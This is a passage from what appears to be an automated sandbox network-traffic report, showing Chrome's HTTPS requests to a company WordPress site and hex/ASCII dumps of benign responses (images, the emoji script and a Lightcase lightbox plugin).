7b a6 53 71 72 57 8e 7c Data Ascii: ]83M%~5(^>)2u'L]+^T#?`&L=`i\G0L}md22{Mh <eb:s>^#,+z)#5F}\|6agZ:84VC/;D$rXkCs#(MT.yj&\|>{SqrW\|
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 58 1a a0 a3 0a d3 67 f7 2e 2a 00 de 7b e6 a8 c2 df 1d a7 0e 28 00 de 72 62 5f 00 00 73 be 5f ba 7c 26 04 36 d6 c0 06 fc 12 02 53 6a 21 fc ed b6 00 04 36 96 bf 84 bf ef 75 39 00 7d df c3 df 8b 01 0b e1 bb 3f 3d 50 00 fc 72 d5 fa 97 f0 57 c3 7f bd c2 8b df 5f e2 f1 cf cb b8 20 db ee 3c bd 1d 1d 33 ad 70 f7 c9 fd 49 23 59 2d 80 57 01 30 e7 05 26 98 23 38 24 cc 63 dc 00 44 8a 16 9d c6 02 d8 00 60 6e 6b a5 5b 00 98 c0 90 90 d0 88 e9 84 85 ea 66 5a d6 51 06 00 f3 7c c6 fa 98 fb 11 24 32 34 d2 11 ed 6d 4e 3d 0e d7 71 d9 1c 9f e7 22 d4 e4 b2 02 c9 ee 55 2b e0 5e cb a3 08 45 08 6c 00 b0 4f da 40 9d 1d 95 e8 6c 2f 86 df 97 6a cd 95 e2 8d 42 af 4f ea 9f 2e 02 60 07 8e ed ce c1 c9 3d 99 12 a6 e2 e0 0e 69 d7 cc c5 a1 a3 fd 0b e9 58 af 41 45 ed 1a e4 94 7e 1a 00 17 b8 Data Ascii: Xg.*{(rb_s_\|&6Sj!6u9}?=PrW_ <3pI#Y-W0&#8$cD`nk[fZQ\|$24mN=q"U+^ElO@l/jBO.`=iXAE~
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 30 38 3f 2a 1a 47 fd 40 87 34 b6 f2 15 00 33 c4 a9 bf 3c 13 03 e4 fe e4 1b 29 cf 48 47 34 32 e5 3b ac ed 64 68 15 e9 40 ce 13 22 13 00 4f 61 62 af 1c a7 6c 7f 42 8e 95 2e 60 cb 01 3c 28 c7 bf 12 02 9a 62 f8 67 42 5f 3a 7f 09 80 2d 08 3c 84 de 9d dd 68 1d 6f 56 f7 af ab bb 42 01 70 43 7f 1d 1a 07 e4 7f 1b a8 43 75 4f ad c2 df b2 b6 0a 05 84 96 1b b8 49 4a 2b f7 2f dd bf 0c ef cd 50 31 69 a5 19 48 29 96 df 9f 74 c0 d2 8b 1c 3a 5a 96 e9 05 fa 47 2a 30 30 5c 81 8e ee 3c 8d 3a 51 53 9f 28 0d a6 50 6b 00 52 ba 3c f7 32 02 14 06 a7 65 85 e8 e0 87 b1 a9 26 4c 4c b7 a3 7f b8 01 ad 9d 95 ea 00 ee 1b 69 c7 c8 f4 20 06 b7 0f 29 fc 1d dc 21 e7 71 7e 0a 53 fb 66 31 73 78 01 73 df ef d5 dc bf bb 7e 38 82 85 53 07 31 7d 74 17 c6 f6 33 87 f3 2c e6 4f ee c5 de 73 07 b1 ff Data Ascii: 08?G@43<)HG42;dh@"OablB.`<(bgB_:-<hoVBpCCuOIJ+/P1iH)t:ZG00\<:QS(PkR<2e&LLi )!q~Sf1sxs~8S1}t3,Os
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 21 e8 13 15 00 27 26 47 79 1c c0 0e 11 43 40 27 c9 75 e8 94 eb 2e 5d ae 17 e6 00 a6 eb 97 e0 97 a5 71 00 33 fc 33 01 70 71 7c 18 5c e9 76 b4 96 66 62 b4 ad 42 21 f0 40 47 19 da 9b f2 d1 d1 5c 28 0f 85 02 34 4b 47 88 20 98 50 a4 aa 26 0b a5 a5 0e 94 97 3b 51 21 1d a9 46 69 68 12 18 d3 f9 3b d4 56 8a c1 d6 12 69 38 66 a2 3a cf 8e 22 79 10 11 02 d3 01 cc 10 d0 b9 72 9c 45 69 76 94 66 27 7b 00 f0 8a 03 38 47 1d c0 04 c0 95 d2 a8 ae 94 06 6a 65 45 0a 6a aa 1c 68 aa 96 07 46 a3 0d ed 0d 21 18 68 0d c1 ce de 48 0d 27 7f 76 5f 0a 2e 1d 4e c1 95 c3 0e 05 c0 c7 67 22 30 d7 bb 05 c3 0d 5f a1 ad 62 9d 0e 2c 31 00 b8 bc 24 04 95 e5 1c f9 e4 40 a1 74 04 f2 a5 61 5c 24 ff 0b c3 df 33 4c 12 73 d9 12 fe d2 fd 4b 00 cc 3a 9d 5f 95 0d 55 d2 e8 94 b2 b6 42 e1 6f 43 2b f3 fd Data Ascii: !'&GyC@'u.]q33pq\|\vfbB!@G\(4KG P&;Q!Fih;Vi8f:"yrEivf'{8GjeEjhF!hH'v_.Ng"0_b,1$@ta\$3LsK:_UBoC+
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 51 00 7c 6a 26 41 01 f0 a5 3d 36 9c 5b 08 c5 77 13 5b a5 03 b3 0e d3 04 c0 c3 df e2 fb f9 30 1c 59 88 c6 c1 f9 38 cc 8c 45 a3 b5 d1 17 05 79 1b 3c 00 38 33 2f 4a 6e 7c 56 e8 10 4b 2b 00 38 bd 90 21 a0 d3 e4 66 98 89 ec 52 02 56 cb a5 cb 86 37 1b da 14 eb 04 bf 96 53 90 d3 2b b2 f2 02 a7 eb e8 4c 23 8e 10 32 f5 ac a2 74 cd 4f a1 f3 64 bb 5f 12 1b f7 dc cf 5a 00 ec ed 08 66 63 c7 00 5f 1e 8f ba 87 45 2b 00 38 4b 3a 0d 4e 30 0f 46 42 52 34 12 12 a3 90 18 1f 89 24 91 23 36 0c 8e c8 50 24 c9 b5 9b 2c d7 64 66 44 88 02 60 e3 fe 2d 89 66 19 62 b9 7f e5 bb a1 5c 29 31 68 2a 48 91 df 62 21 06 9b 2d 17 6f 57 63 be 28 17 5d cd 79 e8 94 92 ea 6a 2d d4 e9 16 79 70 32 0f 41 5d 45 12 9a a5 01 d9 d7 9a 8f e1 f6 22 8c b4 15 cb e7 0b 65 3b b9 68 91 ce 56 59 6a 24 0a 93 c3 Data Ascii: Q\|j&A=6[w[0Y8Ey<83/Jn\|VK+8!fRV7S+L#2tOd_Zfc_E+8K:N0FBR4$#6P$,dfD`-fb\)1h*Hb!-oWc(]yj-yp2A]E"e;hVYj$
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 5f ac 95 13 96 0e 51 82 60 2a 29 29 01 15 15 65 e8 e8 6c f9 1d 00 ee 1f 6f 47 df 24 9d c0 1d 18 d8 de 89 5e 29 09 7c 2d f8 bb 1a 00 7b 3b 80 09 7c 0d 00 a6 14 00 0f 37 e2 bf 72 00 d7 74 16 a3 aa bd 50 e1 af 05 80 b3 a4 cc 44 b6 dc f4 d3 e4 41 65 4b 0d 53 00 bc 29 fc 5b 6c 0e fd 06 5b c2 36 e8 43 c6 27 d4 ca 7f 6c 1c c0 04 c0 c1 ea 00 66 08 68 5f 44 c8 7c 02 e0 a8 a0 f5 88 0e b4 00 70 66 c2 26 b4 57 c5 61 e7 40 b6 34 3e 1d 68 2b dd 86 ba dc af 51 9b b9 0e d5 19 eb d0 51 f4 15 26 9a 7c b1 67 20 02 c7 b6 c7 bb 1d c0 21 9a 03 98 0e 60 86 93 18 6c d8 84 ee 9a f5 ea d6 ab 2a a0 03 78 35 00 36 0e e0 a0 e0 6f 15 00 f3 b8 08 4b b7 fa 6f 51 19 d7 b6 81 b1 06 6e 52 7e 21 be 2a 02 60 ea 8f 00 b0 3e 74 f8 19 02 d3 70 26 a6 0f 5b 05 80 29 03 7f fd bd 06 0d 18 f0 eb bd Data Ascii: _Q`))eloG$^)\|-{;\|7rtPDAeKS)[l[6C'lfh_D\|pf&Wa@4>h+QQ&\|g !`lx56oKoQnR~!*`>tp&[)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49785	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	506	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Jan 2024 22:28:38 GMT Accept-Ranges: bytes Content-Length: 4541 Content-Type: image/png
2024-10-07 12:10:16 UTC	4541	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e9 00 00 00 33 08 06 00 00 00 72 92 2f aa 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 9d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 37 37 37 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 33 3a 35 37 3a Data Ascii: PNGIHDR3r/tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49788	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	474	OUT	GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 13 May 2019 07:49:36 GMT Accept-Ranges: bytes Content-Length: 6215 Content-Type: image/png
2024-10-07 12:10:16 UTC	6215	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 c7 00 00 00 63 08 06 00 00 00 ee 06 cb fe 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 07 74 49 4d 45 07 e3 05 0d 07 31 0c ac 2a c9 3d 00 00 00 19 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 47 49 4d 50 57 81 0e 17 00 00 17 af 49 44 41 54 78 da ed 5d 5f 88 24 c7 7d fe f6 72 84 3c 45 13 25 f8 29 f8 e6 12 10 71 08 ba d9 04 12 08 39 dd 8c c1 24 0e 21 37 6b b0 f2 e7 e5 7a 2c e4 c3 0f f6 ee 5a d8 41 b5 d0 37 db e1 ca 09 89 b5 b7 f8 21 f6 85 64 67 fd 12 90 82 76 2f 6f 16 31 3b a7 83 40 04 d1 8d 50 12 02 7e b8 96 71 44 02 41 19 eb 31 0f da 3c f4 6f a4 d1 dc f4 4c 55 75 d5 4c f7 cc f7 c1 61 90 7b Data Ascii: PNGIHDRcbKGDCpHYs.#.#x?vtIME1*=tEXtCommentCreated with GIMPWIDATx]_$}r<E%)q9$!7kz,ZA7!dgv/o1;@P~qDA1<oLUuLa{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49786	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	657	OUT	GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 03 May 2024 21:06:15 GMT Accept-Ranges: bytes Content-Length: 18726 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:16 UTC	7923	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 67 68 2f 6a 64 65 63 6b 65 64 2f 74 77 65 6d 6f 6a 69 40 31 35 2e 30 2e 33 2f 61 73 73 65 74 73 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:funct
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 63 5c 75 64 66 66 65 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 64 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 65 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 Data Ascii: ud83c[\udffb\udffc\udffe\udfff]\|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]\|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]\|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68\|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud8
2024-10-07 12:10:17 UTC	2803	IN	Data Raw: 28 29 7b 76 61 72 20 6e 2c 75 2c 65 3d 63 2e 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 57 65 62 4b 69 74 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 4d 6f 7a 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 2c 61 3d 63 2e 64 6f 63 75 6d 65 6e 74 2c 74 3d 21 31 2c 72 3d 30 2c 6f 3d 30 3c 63 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 Data Ascii: (){var n,u,e=c.MutationObserver\|\|c.WebKitMutationObserver\|\|c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49790	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:17 UTC	507	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:17 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:17 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:07 GMT Accept-Ranges: bytes Content-Length: 42720 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:17 UTC	7923	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 09 77 69 6e 64 6f 77 2e 6c 69 67 68 74 63 61 73 65 20 3d 20 7b 0a 09 09 63 61 63 68 65 20 3a 20 7b 7d 2c 0a 0a 09 09 73 75 70 70 6f 72 74 20 3a 20 7b Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) */;(function ($) {window.lightcase = {cache : {},support : {
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 09 09 09 27 61 6c 74 27 20 3a 20 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 74 69 74 6c 65 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 63 61 73 65 20 27 69 6e 6c 69 6e 65 27 20 3a 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 20 3d 20 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 27 20 2b 20 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 50 72 65 66 69 78 20 2b 20 27 69 6e 6c 69 6e 65 57 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 2e 68 74 6d 6c 28 6c 69 67 68 74 63 61 73 65 2e 63 6c 6f 6e 65 4f 62 6a 65 63 74 28 24 28 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 75 72 6c 29 29 29 3b 0a 0a 09 09 09 09 09 2f 2f 20 41 64 64 20 63 75 Data Ascii: 'alt' : lightcase.objectData.title});break;case 'inline' :$object = $('<div class="' + lightcase.settings.classPrefix + 'inlineWrap"></div>');$object.html(lightcase.cloneObject($(lightcase.objectData.url)));// Add cu
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 78 48 65 69 67 68 74 29 20 26 26 20 21 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 66 6f 72 63 65 48 65 69 67 68 74 29 20 7b 0a 09 09 09 09 09 09 09 64 69 6d 65 6e 73 69 6f 6e 73 2e 6f 62 6a 65 63 74 48 65 69 67 68 74 20 3d 20 64 69 6d 65 6e 73 69 6f 6e 73 2e 6d 61 78 48 65 69 67 68 74 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 61 64 6a 75 73 74 44 69 6d 65 6e 73 69 6f 6e 73 28 24 6f 62 6a 65 63 74 2c 20 64 69 6d 65 6e 73 69 6f 6e 73 29 3b 0a 09 09 7d 2c 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 41 64 6a 75 73 74 73 20 74 68 65 20 64 69 6d 65 6e 73 69 6f 6e 73 0a 09 09 20 2a 0a 09 09 20 2a 20 40 70 61 72 61 6d 09 7b 6f 62 6a 65 63 74 7d 09 24 6f 62 6a 65 63 74 0a 09 09 20 2a 20 40 70 Data Ascii: xHeight) && !lightcase.settings.forceHeight) {dimensions.objectHeight = dimensions.maxHeight;}}}lightcase.adjustDimensions($object, dimensions);},/** * Adjusts the dimensions * * @param{object}$object * @p
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 09 09 09 09 24 70 6c 61 79 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 61 72 74 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 24 70 61 75 73 65 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 6f 70 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 7d 0a 09 09 09 09 0a 09 09 09 09 2f 2f 20 45 6e 61 62 6c 65 20 73 77 69 70 69 6e 67 20 69 66 20 61 63 74 69 76 61 Data Ascii: $play.click(function (event) {event.preventDefault();lightcase.startTimeout();});$pause.click(function (event) {event.preventDefault();lightcase.stopTimeout();});}// Enable swiping if activa
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 73 74 61 72 74 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 73 74 61 72 74 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 65 6e 64 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 65 6e 64 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 24 6f 62 6a 65 63 74 2e 63 73 73 28 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 29 2e 73 68 6f 77 28 29 3b 0a 0a 09 09 09 09 2f 2f 20 43 73 73 20 74 72 61 6e 73 69 74 Data Ascii: }}startTransition['opacity'] = startOpacity;startTransition[direction] = startOffset;endTransition['opacity'] = endOpacity;endTransition[direction] = endOffset;$object.css(startTransition).show();// Css transit
2024-10-07 12:10:17 UTC	2797	IN	Data Raw: 65 2e 61 74 74 72 28 27 61 72 69 61 2d 68 69 64 64 65 6e 27 2c 20 27 74 72 75 65 27 29 3b 0a 0a 09 09 09 24 6e 61 76 2e 63 68 69 6c 64 72 65 6e 28 29 2e 68 69 64 65 28 29 3b 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 72 65 73 74 6f 72 65 53 63 72 6f 6c 6c 50 6f 73 69 74 69 6f 6e 28 29 3b 0a 09 09 09 0a 09 09 09 2f 2f 20 43 61 6c 6c 20 6f 6e 43 6c 6f 73 65 20 68 6f 6f 6b 20 66 75 6e 63 74 69 6f 6e 73 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 63 61 6c 6c 48 6f 6f 6b 73 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 6f 6e 43 6c 6f 73 65 29 3b 0a 0a 09 09 09 73 77 69 74 63 68 20 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 74 72 61 6e 73 69 74 69 6f 6e 4f 75 74 29 20 7b 0a 09 09 09 09 63 61 73 65 20 27 66 61 64 65 27 20 3a 0a 09 Data Ascii: e.attr('aria-hidden', 'true');$nav.children().hide();lightcase.restoreScrollPosition();// Call onClose hook functionslightcase.callHooks(lightcase.settings.onClose);switch (lightcase.settings.transitionOut) {case 'fade' :

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49789	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:17 UTC	477	OUT	GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:17 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:17 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:34 GMT Accept-Ranges: bytes Content-Length: 39618 Content-Type: image/jpeg
